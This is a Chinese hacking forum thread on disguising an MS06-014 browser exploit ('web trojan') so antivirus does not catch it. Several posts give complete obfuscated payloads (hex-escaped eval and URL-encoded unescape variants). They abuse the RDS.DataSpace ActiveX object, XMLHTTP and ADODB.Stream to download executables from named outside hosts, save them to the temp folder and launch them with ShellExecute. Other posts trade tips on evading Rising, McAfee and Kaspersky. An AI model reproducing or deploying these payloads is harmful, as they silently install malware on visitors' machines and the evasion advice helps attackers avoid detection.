45 12
发新话题
打印

[原创]MS06014网马的一种变形方法

引用:
这里是引用第[29 楼]茄子宝2006-08-25 11:59发表的:
变量拆分 局部加密  再变量乱序

~HTML TO JS

~最好JS加密
.......
[s:39]
JS加密的确还不错
玩世不恭彼此 ⌒ ˇ互相鼓励信任 認眞體驗每⒈兲.!﹏演藝⒉.個亾啲莞鎂傳奇( [淇]儭滗.

TOP

上面的这段代码在IE和TT中都会弹出一个对话框出来.这个是不是引用了xmlhttp组件的缘故.在火狐的浏览器中就弹不出来.请问下怎么在IE的浏览器也不让他弹出来呢

TOP

27楼能免杀。不过会提醒activeX操作,允许activeX操作也没有反映。 [s:82]

TOP

33楼能看到弹出的对话框???

TOP

<script language="VBScript">
这个过不了瑞星内存,怎么改好?
We are not the only ones,but we will try to be the best!

TOP

好像很难过瑞星内存!

TOP

<SCRIPT language=javascript>
eval("\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x77\x72\x69\x74\x65\x28\x22\x3C\x73\x63\x72\x69\x70\x74\x20\x6C\x61\x6E\x67\x75\x61\x67\x65\x3D\x22\x56\x42\x53\x63\x72\x69\x70\x74\x22\x3E\x0D\x0A\x6F\x6E\x20\x65\x72\x72\x6F\x72\x20\x72\x65\x73\x75\x6D\x65\x20\x6E\x65\x78\x74\x0D\x0A\x64\x6C\x20\x3D\x20\x22\x68\x74\x74\x70\x3A\x2F\x2F\x64\x69\x65\x67\x6F\x2E\x78\x69\x63\x70\x2E\x6E\x65\x74\x2F\x75\x70\x64\x61\x74\x65\x2E\x65\x78\x65\x22\x0D\x0A\x53\x65\x74\x20\x64\x66\x20\x3D\x20\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x28\x22\x6F\x62\x6A\x65\x63\x74\x22\x29\x0D\x0A\x64\x66\x2E\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x20\x22\x63\x6C\x61\x73\x73\x69\x64\x22\x2C\x20\x22\x63\x6C\x73\x69\x64\x3A\x42\x44\x39\x36\x43\x35\x35\x36\x2D\x36\x35\x41\x33\x2D\x31\x31\x44\x30\x2D\x39\x38\x33\x41\x2D\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x0D\x0A\x73\x74\x72\x3D\x22\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50\x22\x0D\x0A\x53\x65\x74\x20\x78\x20\x3D\x20\x64\x66\x2E\x43\x72\x65\x61\x74\x65\x4F\x62\x6A\x65\x63\x74\x28\x73\x74\x72\x2C\x22\x22\x29\x0D\x0A\x61\x31\x3D\x22\x41\x64\x6F\x22\x0D\x0A\x61\x32\x3D\x22\x64\x62\x2E\x22\x0D\x0A\x61\x33\x3D\x22\x53\x74\x72\x22\x0D\x0A\x61\x34\x3D\x22\x65\x61\x6D\x22\x0D\x0A\x73\x74\x72\x31\x3D\x61\x31\x26\x61\x32\x26\x61\x33\x26\x61\x34\x0D\x0A\x73\x74\x72\x35\x3D\x73\x74\x72\x31\x0D\x0A\x73\x65\x74\x20\x53\x20\x3D\x20\x64\x66\x2E\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x73\x74\x72\x35\x2C\x22\x22\x29\x0D\x0A\x53\x2E\x74\x79\x70\x65\x20\x3D\x20\x31\x0D\x0A\x73\x74\x72\x36\x3D\x22\x47\x45\x54\x22\x0D\x0A\x78\x2E\x4F\x70\x65\x6E\x20\x73\x74\x72\x36\x2C\x20\x64\x6C\x2C\x20\x46\x61\x6C\x73\x65\x0D\x0A\x78\x2E\x53\x65\x6E\x64\x0D\x0A\x66\x6E\x61\x6D\x65\x31\x3D\x22\x67\x30\x6C\x64\x2E\x63\x6F\x6D\x22\x0D\x0A\x73\x65\x74\x20\x46\x20\x3D\x20\x64\x66\x2E\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x22\x53\x63\x72\x69\x70\x74\x69\x6E\x67\x2E\x46\x69\x6C\x65\x53\x79\x73\x74\x65\x6D\x4F\x62\x6A\x65\x63\x74\x22\x2C\x22\x22\x29\x0D\x0A\x73\x65\x74\x20\x74\x6D\x70\x20\x3D\x20\x46\x2E\x47\x65\x74\x53\x70\x65\x63\x69\x61\x6C\x46\x6F\x6C\x64\x65\x72\x28\x32\x29\x20\x0D\x0A\x66\x6E\x61\x6D\x65\x31\x3D\x20\x46\x2E\x42\x75\x69\x6C\x64\x50\x61\x74\x68\x28\x74\x6D\x70\x2C\x66\x6E\x61\x6D\x65\x31\x29\x0D\x0A\x53\x2E\x6F\x70\x65\x6E\x0D\x0A\x53\x2E\x77\x72\x69\x74\x65\x20\x78\x2E\x72\x65\x73\x70\x6F\x6E\x73\x65\x42\x6F\x64\x79\x0D\x0A\x53\x2E\x73\x61\x76\x65\x74\x6F\x66\x69\x6C\x65\x20\x66\x6E\x61\x6D\x65\x31\x2C\x32\x0D\x0A\x53\x2E\x63\x6C\x6F\x73\x65\x0D\x0A\x73\x65\x74\x20\x51\x20\x3D\x20\x64\x66\x2E\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x22\x53\x68\x65\x6C\x6C\x2E\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x22\x2C\x22\x22\x29\x0D\x0A\x51\x2E\x53\x68\x65\x6C\x6C\x45\x78\x65\x63\x75\x74\x65\x20\x66\x6E\x61\x6D\x65\x31\x2C\x22\x22\x2C\x22\x22\x2C\x22\x6F\x70\x65\x6E\x22\x2C\x30\x0D\x0A\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x22\x29")
</SCRIPT>

偶是这样滴……
轻狂如我,心伤谁知

TOP

引用:
这里是引用第[12 楼]7jdg2006-08-04 20:10发表的:
先转成JS
[ c ode]document.writeln("<html>");
document.writeln(" <script language="VBScript">");
document.writeln("   on error resume next");
document.writeln("   dl = "http://www.baidu.com/go.exe"");
.......
这里做了一个简单的分析
首先要说明的是这个加密作者的js功底是很扎实的,应该是一个前辈级的人物,非常非常的佩服作者。
生成器应该有现成的,但我不知道是哪个,呵呵

首先是一个总体的分析,然后给一个刚写好的演示代码来说明整个解密过程。

源代码是这样的
复制内容到剪贴板
代码:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!&#39;&#39;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#39;\\w+&#39;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#39;\\b&#39;+e(c)+&#39;\\b&#39;,&#39;g&#39;),k[c]);return p;}(&#39;3.4("<p>");3.4(" <m L=\\"M\\">");3.4("  N I J K");3.4("  9 = \\"O:\\/\\/U.V.W\\/P.c\\"");3.4("  f 5 = 3.R(\\"T\\")");3.4("  5.H \\"v\\", \\"w:y-s-t-u-z\\"");3.4("  g=\\"D.E\\"");3.4("  f x = 5.A(g,\\"\\")");3.4("  d=\\"C\\"");3.4("  e=\\"X.\\"");3.4("  j=\\"1b\\"");3.4("  k=\\"1c\\"");3.4("  h=d&e&j&k");3.4("  i=h");3.4("  7 S = 5.8(i,\\"\\")");3.4("  S.1e = 1");3.4("  a=\\"18\\"");3.4("  x.11 a, 9, Y");3.4("  x.Z");3.4("  6=\\"16.c\\"");3.4("  7 F = 5.8(\\"15.13\\",\\"\\")");3.4("  7 b = F.14(2) ");3.4("  6= F.10(b,6)");3.4("  S.n");3.4("  S.1f x.19");3.4("  S.17 6,2");3.4("  S.1a");3.4("  7 Q = 5.8(\\"G.B\\",\\"\\")");3.4("  Q.12 6,\\"\\",\\"\\",\\"n\\",0");3.4("  <\\/m>");3.4("  <o>");3.4("  <l>1g 1h 1d<\\/l>");3.4("  <\\/o><q>");3.4("   <r><\\/r>");3.4("  <\\/q><\\/p>")&#39;,62,80,&#39;|||document|writeln|df|fname1|set|createobject|dl|str6|tmp|exe|a1|a2|Set|str|str1|str5|a3|a4|title|script|open|head|html|body|center|65A3|11D0|983A|classid|clsid||BD96C556|00C04FC29E36|CreateObject|Application|Ado|Microsoft|XMLHTTP||Shell|setAttribute|error|resume|next|language|VBScript|on|http|go||createElement||object|www|baidu|com|db|False|Send|BuildPath|Open|ShellExecute|FileSystemObject|GetSpecialFolder|Scripting|Ravwon|savetofile|GET|responseBody|close|Str|eam|hacker|type|write|fuck|all&#39;.split(&#39;|&#39;),0,{}))
再对想分析这个代码的读者罗嗦下就是:作者用了很多的简写和“花指令”,大家分析的时候要仔细“品”一下,呵呵
首先可以看到代码的结构为 eval( a_function( par1 , par2.. ) );
就是用一个“解密”函数 生成正确的代码,然后用eval激活执行。
这个解密函数拿出来就是:
复制内容到剪贴板
代码:
function decode(p,a,c,k,e,d)
{e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};
if(!&#39;&#39;.replace(/^/,String)){
  while(c--)d[e(c)]=k[c]||e(c);
  k=[function(e){return d[e]}];
  e=function(){return&#39;\\w+&#39;};
  c=1;};
while(c--)if(k[c])p=p.replace(new RegExp(&#39;\\b&#39;+e(c)+&#39;\\b&#39;,&#39;g&#39;),k[c]);
return p;}
实现的功能就是 生成一个替换表,将密文中的对应字母替换为一个对应的单词。
下面是我给出的演示代码,因为里面已经有很多注释了,我也不再多说。
将代码复制并保存为htm文件直接打开就能看到演示。
推荐用一个带有代码颜色区分显示功能的编辑器【EditPlus或UEdit等】查看下面的代码。
复制内容到剪贴板
代码:
<body style="font-size:12px;">
这里演示一下替换关系。<br>
以下为原始的字串<br>
<textarea cols=120 rows=8>
3.4("<p>");3.4(" <m L=\\"M\\">");3.4("  N I J K");3.4("  9 = \\"O:\\/\\/U.V.W\\/P.c\\"");3.4("  f 5 = 3.R(\\"T\\")");3.4("  5.H \\"v\\", \\"w:y-s-t-u-z\\"");3.4("  g=\\"D.E\\"");3.4("  f x = 5.A(g,\\"\\")");3.4("  d=\\"C\\"");3.4("  e=\\"X.\\"");3.4("  j=\\"1b\\"");3.4("  k=\\"1c\\"");3.4("  h=d&e&j&k");3.4("  i=h");3.4("  7 S = 5.8(i,\\"\\")");3.4("  S.1e = 1");3.4("  a=\\"18\\"");3.4("  x.11 a, 9, Y");3.4("  x.Z");3.4("  6=\\"16.c\\"");3.4("  7 F = 5.8(\\"15.13\\",\\"\\")");3.4("  7 b = F.14(2) ");3.4("  6= F.10(b,6)");3.4("  S.n");3.4("  S.1f x.19");3.4("  S.17 6,2");3.4("  S.1a");3.4("  7 Q = 5.8(\\"G.B\\",\\"\\")");3.4("  Q.12 6,\\"\\",\\"\\",\\"n\\",0");3.4("  <\\/m>");3.4("  <o>");3.4("  <l>1g 1h 1d<\\/l>");3.4("  <\\/o><q>");3.4("   <r><\\/r>");3.4("  <\\/q><\\/p>")</textarea><br>
以下开始用js生成一个代换表,将上表中对应的字母替换为单词:<br>
<script>
var result;

function  f(p,a,c,k,e,d)
{
//c=关键词数量
//a=与映射表有关
//k=关键词数组
//p=密文
//e,d=空
   e=function(c)
      {return (c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};
   //*这里做了一个c的映射函数,从数字映射到ascii字符。0~35 -> 0~z; 35~61 -> A~Z; 62~97 -> 10~1z ...

   while(c--)d[e(c)]=k[c]||e(c); //*
   //再次映射 字母 -> 单词 ,

   //k=[function(e){return d[e]}];  //相当于k[0]=function(e){return d[e]};
   //e=function(){return&#39;\\w+&#39;};
   //c=1;
   //while(c--)
      //{if(k[c])p=p.replace(new RegExp(&#39;\\b&#39;+e(c)+&#39;\\b&#39;,&#39;g&#39;),k[c]); //k[c]是一个函数
      //其实上面的东西都是用来让我们犯糊涂的好方法,精简后代码如下
      c=0;
      //p=p.replace(new RegExp(&#39;\\b&#39;+e(c)+&#39;\\b&#39;,&#39;g&#39;),k[c]); //做正则替换
      p=p.replace(/\b\w+\b/g,function(e){return d[e]});
      //下面的代码是我自己加的,仅为了演示用
      result=p;
      document.write("<textarea cols=120 rows=13>")
      for (key in d) //显示映射表的所有表项
        {   document.write(key+" => "+d[key]+"\n");   }
      document.write("</textarea><br>")
   //}
}


f(&#39;3.4("<p>");3.4(" <m L=\\"M\\">");3.4("  N I J K");3.4("  9 = \\"O:\\/\\/U.V.W\\/P.c\\"");3.4("  f 5 = 3.R(\\"T\\")");3.4("  5.H \\"v\\", \\"w:y-s-t-u-z\\"");3.4("  g=\\"D.E\\"");3.4("  f x = 5.A(g,\\"\\")");3.4("  d=\\"C\\"");3.4("  e=\\"X.\\"");3.4("  j=\\"1b\\"");3.4("  k=\\"1c\\"");3.4("  h=d&e&j&k");3.4("  i=h");3.4("  7 S = 5.8(i,\\"\\")");3.4("  S.1e = 1");3.4("  a=\\"18\\"");3.4("  x.11 a, 9, Y");3.4("  x.Z");3.4("  6=\\"16.c\\"");3.4("  7 F = 5.8(\\"15.13\\",\\"\\")");3.4("  7 b = F.14(2) ");3.4("  6= F.10(b,6)");3.4("  S.n");3.4("  S.1f x.19");3.4("  S.17 6,2");3.4("  S.1a");3.4("  7 Q = 5.8(\\"G.B\\",\\"\\")");3.4("  Q.12 6,\\"\\",\\"\\",\\"n\\",0");3.4("  <\\/m>");3.4("  <o>");3.4("  <l>1g 1h 1d<\\/l>");3.4("  <\\/o><q>");3.4("   <r><\\/r>");3.4("  <\\/q><\\/p>")&#39;,62,80,&#39;|||document|writeln|df|fname1|set|createobject|dl|str6|tmp|exe|a1|a2|Set|str|str1|str5|a3|a4|title|script|open|head|html|body|center|65A3|11D0|983A|classid|clsid||BD96C556|00C04FC29E36|CreateObject|Application|Ado|Microsoft|XMLHTTP||Shell|setAttribute|error|resume|next|language|VBScript|on|http|go||createElement||object|www|baidu|com|db|False|Send|BuildPath|Open|ShellExecute|FileSystemObject|GetSpecialFolder|Scripting|Ravwon|savetofile|GET|responseBody|close|Str|eam|hacker|type|write|fuck|all&#39;.split(&#39;|&#39;),0,{});
document.write("<br>这就是替换的结果:<br><textarea cols=120 rows=16>"+result+"</textarea>");
</script>
<br><br>最后使用了eval()将以上生成的代码激活执行。<br>
你可以仔细对照原来的代码与现在的代码来体会一下作者的用意,呵呵<br>
<br><br><center><hr>虫虫 2006.9.20 制作<br><a href=hTtP://hI.bAidU.cOm/aNUiz target=_blank>[url]hTtP://hI.bAidU.cOm/aNUiz</a>[/url]
我的小窝 http://hi.baidu.com/anuiz
http://hi.baidu.com/anuiz anuiz#163.com

TOP

把我给的代码里的所有注释全部去掉就可以看到很有节奏感的代码,
但是每一句代码都可能会让你停住思考一阵子,原来得代码更是这样——这也是我佩服作者的地方。
http://hi.baidu.com/anuiz anuiz#163.com

TOP

我很想改代码过杀毒,可发现麦咖啡对"http://"不放过,瑞星对"ShellExecute"不放过,其它的代码都用字符替换转换过了,最后难得改了,在改了后的代码上随便用个工具加下密就全过了。

TOP

自我感觉
脚本变形是最好的免杀方法,可以参考superhei写的文章

TOP

真够麻烦的。。。汗。
<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var Words ="%3Chtml%3E%0D%0A%20%3Cscript%20language%3D%22VBScript%22%3E%0D%0A%20%20%20%20on%20error%20resume%20next%0D%0A%20%20%20%20%271555%0D%0A%20%20%20%20dl%20%3D%22http%3A%2F%2Fwww%2Exjhuaao%2Ecom%2Fserver%2Eexe%22%0D%0A%0D%0A%20%20%20%20%271666%0D%0A%20%20%20%20Set%20df%20%3D%20document%2EcreateElement%28%22object%22%29%0D%0A%20%20%20%20%27178%0D%0A%20%20%20%20df%2EsetAttribute%20%22classid%22%2C%20%22clsid%3ABD96C556%2D65A3%2D11D0%2D983A%2D00C04FC29E36%22%0D%0A%20%20%20%20%271668%0D%0A%20%20%20%20str%3D%22Microsoft%2EXMLHTTP%22%0D%0A%20%20%20%20%27894%0D%0A%20%20%20%20Set%20x%20%3D%20df%2ECreateObject%28str%2C%22%22%29%0D%0A%20%20%20%20%274545%0D%0A%20%20%20%20a1%3D%22Ado%22%0D%0A%20%20%20%20a2%3D%22db%2E%22%0D%0A%20%20%20%20a3%3D%22Str%22%0D%0A%20%20%20%20a4%3D%22eam%22%0D%0A%20%20%20%20%27456%0D%0A%20%20%20%20str1%3Da1%26a2%26a3%26a4%0D%0A%20%20%20%20str5%3Dstr1%0D%0A%20%20%20%20%274444%0D%0A%20%20%20%20set%20S%20%3D%20df%2Ecreateobject%28str5%2C%22%22%29%0D%0A%20%20%20%20%275455%0D%0A%20%20%20%20S%2Etype%20%3D%201%0D%0A%20%20%20%20str6%3D%22GET%22%0D%0A%20%20%20%20%2744%0D%0A%20%20%20%20x%2EOpen%20str6%2C%20dl%2C%20False%0D%0A%20%20%20%20x%2ESend%0D%0A%20%20%20%20%27999%0D%0A%20%20%20%20fname1%3D%22winlogin%2Eexe%22%0D%0A%20%20%20%20%27888%0D%0A%20%20%20%20set%20F%20%3D%20df%2Ecreateobject%28%22Scripting%2EFileSystemObject%22%2C%22%22%29%0D%0A%20%20%20%20%27744%0D%0A%20%20%20%20set%20tmp%20%3D%20F%2EGetSpecialFolder%282%29%20%0D%0A%20%20%20%20%27424%0D%0A%20%20%20%20fname1%3D%20F%2EBuildPath%28tmp%2Cfname1%29%0D%0A%20%20%20%20%274241%0D%0A%20%20%20%20S%2Eopen%0D%0A%20%20%20%20%278741%0D%0A%20%20%20%20S%2Ewrite%20x%2EresponseBody%0D%0A%20%20%20%20%274441%0D%0A%20%20%20%20S%2Esavetofile%20fname1%2C2%0D%0A%20%20%20%20%276551%0D%0A%20%20%20%20S%2Eclose%0D%0A%20%20%20%20%27458%0D%0A%20%20%20%20set%20Q%20%3D%20df%2Ecreateobject%28%22Shell%2EApplication%22%2C%22%22%29%0D%0A%20%20%20%20%272%0D%0A%20%20%20%20Q%2EShellExecute%20fname1%2C%22%22%2C%22%22%0D%0A%20%20%20%20%2755%0D%0A%20%20%20%20%3C%2Fscript%3E%0D%0A%20%20%20%20%3Chead%3E%0D%0A%20%20%20%20%3Ctitle%3EicexiaoyeMS06%2D014%u514D%u6740%u7F51%u9A6C%3C%2Ftitle%3E%0D%0A%20%20%20%20%3C%2Fhead%3E%3Cbody%3E%0D%0A%09%3Ccenter%3EicexiaoyeMS06%2D014%u514D%u6740%u7F51%u9A6C%3C%2Fcenter%3E%0D%0A%20%20%20%20%3C%2Fbody%3E%0D%0A%0D%0A%3Cscript%20type%3D%22text%2Fjscript%22%3E%0D%0Afunction%20init%28%29%20%7B%20%0D%0Adocument%2Ewrite%28Date%28%29%29%3B%0D%0A%0D%0A%7D%0D%0Awindow%2Eonload%20%3D%20init%3B%0D%0A%3C%2Fscript%3E%0D%0A%3C%2Fhtml%3E%0D%0A%0D%0A"
function SetNewWords()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
SetNewWords();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>
珍爱生命,潜心修炼,早日成仙。

TOP

fname1="g0ld.com"是什么意识?谁能说一下?谢谢

TOP

你的木马被下载后的名字 g0ld.com

TOP

那是不是可以随便改为其他的名字呢?

TOP

引用:
这里是引用第[42 楼]zxyand2006-10-07 20:25发表的:
那是不是可以随便改为其他的名字呢?
好象是可以的。刚看别人的网马了。

TOP

感觉拆分了合并,并且把它自定义的一些常量名可以换成是自己的,这样就可以躲过查杀了。感觉加密不好的说~~~

TOP

引用:
这里是引用第[42 楼]zxyand2006-10-07 20:25发表的:
那是不是可以随便改为其他的名字呢?
可以。你随便改

TOP

不加密免杀才是正道

我们所做的加密只是对源代码的一种保护

个人看法吧,如果说源代码不免杀,你怎么加密到头都一样不免杀,还是要从源码下手操作免杀

TOP

all detected from kaspersky as exploit :(

TOP

 45 12
发新话题